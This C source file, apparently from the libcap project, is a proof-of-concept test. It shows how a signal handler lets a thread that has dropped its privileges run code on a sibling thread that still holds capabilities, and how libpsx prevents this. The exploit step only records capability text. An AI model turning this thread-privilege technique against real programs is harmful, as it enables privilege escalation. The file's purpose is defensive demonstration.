| 1 |
/* |
| 2 |
* Copyright (c) 2020 Andrew G Morgan <[email protected]> |
| 3 |
* |
| 4 |
* This program exploit demonstrates why libcap alone in a |
| 5 |
* multithreaded C/C++ program is inherently vulnerable to privilege |
| 6 |
* escalation. |
| 7 |
* |
| 8 |
* The code also serves as a demonstration of how linking with libpsx |
| 9 |
* can eliminate this vulnerability by maintaining a process wide |
| 10 |
* common security state. |
| 11 |
* |
| 12 |
* The basic idea (which is well known and why POSIX stipulates "posix |
| 13 |
* semantics" for security relevant state at the abstraction of a |
| 14 |
* process) is that, because of shared memory, if a single thread alone |
| 15 |
* is vulnerable to code injection, then it can cause any other thread |
| 16 |
* to execute arbitrary code. As such, if all but one thread drops |
| 17 |
* privilege, privilege escalation is somewhat trivial. |
| 18 |
*/ |
| 19 |
|
| 20 |
/* as per "man sigaction" */ |
| 21 |
#define _POSIX_C_SOURCE 200809L |
| 22 |
|
| 23 |
#include <pthread.h> |
| 24 |
#include <signal.h> |
| 25 |
#include <stdio.h> |
| 26 |
#include <stdlib.h> |
| 27 |
#include <sys/capability.h> |
| 28 |
#include <sys/types.h> |
| 29 |
|
| 30 |
/* thread coordination */ |
| 31 |
pthread_mutex_t mu; |
| 32 |
pthread_cond_t cond; |
| 33 |
int hits; |
| 34 |
|
| 35 |
/* evidence of highest privilege attained */ |
| 36 |
ssize_t greatest_len; |
| 37 |
char *text; |
| 38 |
|
| 39 |
/* |
| 40 |
* interrupt handler - potentially watching for an opportunity to |
| 41 |
* perform an exploit when invoked as a privileged thread. |
| 42 |
*/ |
| 43 |
static void handler(int signum, siginfo_t *info, void *ignore) { |
| 44 |
ssize_t length; |
| 45 |
char *working; |
| 46 |
pthread_mutex_lock(&mu); |
| 47 |
|
| 48 |
cap_t caps = cap_get_proc(); |
| 49 |
working = cap_to_text(caps, &length); |
| 50 |
if (length > greatest_len) { |
| 51 |
/* |
| 52 |
* This is where the exploit code might go. |
| 53 |
*/ |
| 54 |
cap_free(text); |
| 55 |
text = working; |
| 56 |
greatest_len = length; |
| 57 |
} |
| 58 |
cap_free(caps); |
| 59 |
hits++; |
| 60 |
|
| 61 |
pthread_cond_signal(&cond); |
| 62 |
pthread_mutex_unlock(&mu); |
| 63 |
} |
| 64 |
|
| 65 |
/* |
| 66 |
* privileged thread code (imagine it doing whatever needs privilege). |
| 67 |
*/ |
| 68 |
static void *victim(void *args) { |
| 69 |
pthread_mutex_lock(&mu); |
| 70 |
hits = 1; |
| 71 |
printf("started privileged thread\n"); |
| 72 |
pthread_cond_signal(&cond); |
| 73 |
pthread_mutex_unlock(&mu); |
| 74 |
|
| 75 |
pthread_mutex_lock(&mu); |
| 76 |
while (hits < 2) { |
| 77 |
pthread_cond_wait(&cond, &mu); |
| 78 |
} |
| 79 |
pthread_mutex_unlock(&mu); |
| 80 |
|
| 81 |
return NULL; |
| 82 |
} |
| 83 |
|
| 84 |
int main(int argc, char **argv) { |
| 85 |
pthread_t peer; |
| 86 |
cap_t caps = cap_init(); |
| 87 |
struct sigaction sig_action; |
| 88 |
|
| 89 |
pthread_mutex_init(&mu, NULL); |
| 90 |
pthread_cond_init(&cond, NULL); |
| 91 |
|
| 92 |
printf("program starting\n"); |
| 93 |
if (pthread_create(&peer, NULL, victim, NULL)) { |
| 94 |
perror("unable to start the victim thread"); |
| 95 |
exit(1); |
| 96 |
} |
| 97 |
|
| 98 |
/* |
| 99 |
* Wait until the peer thread is fully up. |
| 100 |
*/ |
| 101 |
pthread_mutex_lock(&mu); |
| 102 |
while (hits < 1) { |
| 103 |
pthread_cond_wait(&cond, &mu); |
| 104 |
} |
| 105 |
pthread_mutex_unlock(&mu); |
| 106 |
|
| 107 |
printf("dropping privilege from main process thread\n"); |
| 108 |
|
| 109 |
if (cap_set_proc(caps)) { |
| 110 |
perror("unable to drop capabilities from main process thread"); |
| 111 |
exit(1); |
| 112 |
} |
| 113 |
cap_free(caps); |
| 114 |
|
| 115 |
/* confirm the low privilege of the process' main thread */ |
| 116 |
|
| 117 |
caps = cap_get_proc(); |
| 118 |
text = cap_to_text(caps, &greatest_len); |
| 119 |
cap_free(caps); |
| 120 |
|
| 121 |
printf("no privilege in main process thread: len:%ld, caps:\"%s\"\n", |
| 122 |
(long int) greatest_len, text); |
| 123 |
if (greatest_len != 1) { |
| 124 |
printf("failed to lower privilege as expected\n"); |
| 125 |
exit(1); |
| 126 |
} |
| 127 |
|
| 128 |
/* |
| 129 |
* So, we have confirmed that this running thread has no |
| 130 |
* privilege. From this thread we setup an interrupt handler and |
| 131 |
* then trigger it on the privileged peer thread. |
| 132 |
*/ |
| 133 |
|
| 134 |
sig_action.sa_sigaction = &handler; |
| 135 |
sigemptyset(&sig_action.sa_mask); |
| 136 |
sig_action.sa_flags = SA_SIGINFO | SA_RESTART;; |
| 137 |
sigaction(SIGRTMIN, &sig_action, NULL); |
| 138 |
|
| 139 |
pthread_kill(peer, SIGRTMIN); |
| 140 |
|
| 141 |
/* |
| 142 |
* Wait for the thread to exit. |
| 143 |
*/ |
| 144 |
pthread_join(peer, NULL); |
| 145 |
|
| 146 |
/* |
| 147 |
* Let's see how we did with the exploit. |
| 148 |
*/ |
| 149 |
|
| 150 |
printf("greatest privilege in main process thread: len:%ld, caps:\"%s\"\n", |
| 151 |
(long int) greatest_len, text); |
| 152 |
|
| 153 |
cap_free(text); |
| 154 |
if (greatest_len != 1) { |
| 155 |
printf("exploit succeeded\n"); |
| 156 |
exit(1); |
| 157 |
} |
| 158 |
|
| 159 |
printf("exploit failed\n"); |
| 160 |
exit(0); |
| 161 |
} |